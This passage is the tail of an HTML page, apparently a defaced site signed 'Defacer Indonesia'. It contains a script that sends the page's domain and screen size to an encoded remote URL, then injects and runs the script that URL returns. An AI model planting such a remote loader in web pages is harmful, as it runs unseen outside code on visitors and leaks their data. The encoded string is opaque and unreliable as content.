"4TtHaUQnUEiP6K%2fc5C582HVlH3eBnL31dK4ZUfyQ6h1mFFu4cWK2dXqYm7NexVhX5aJENbrL9xhdzuHE1aAC1opv9ZoBsiw5GNrUVDteArc2n09YSXxOncgAPEdUHJx821TRvnsyJRDyMfnqjlyzqsJcEN0dwT8GTQoJbdpYXVgNX0ZJvPo%2br2lqX0nWQdstqmxdTlnw7I6QCGGDIbU2dS83079P5j2noyDXQQ6xhj9af81o19bsSsUBbzQRdVaSdaUxsV%2fmgBwrh1f7KffbOwW29jmlLfogqB46TcTi3hTMKZZECyXGlN436lS6KFPKjSFXNKyeimNXRwGm%2f69NFUQ8AEIWak5DG0eoCd2WWr77%2bMQzDMrdYNIGNibgk1TMMNeXOPLDBSrad6OmJ6Rp2qGfax0fUjmwW%2b%2bx5JGyc2xK3LJD9vdF8pr8yyzWZXUcfcjOBeS%2fT14hNVpPJi8PbnD%2bUqyKKbasYiwI%2bgDl0G6rgjGqgsA6PQoVoqffbJ2CauSr87lXe1KNTlE2sO4Rnw%3d%3d" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body> </html>
Copyright ©2021 || Defacer Indonesia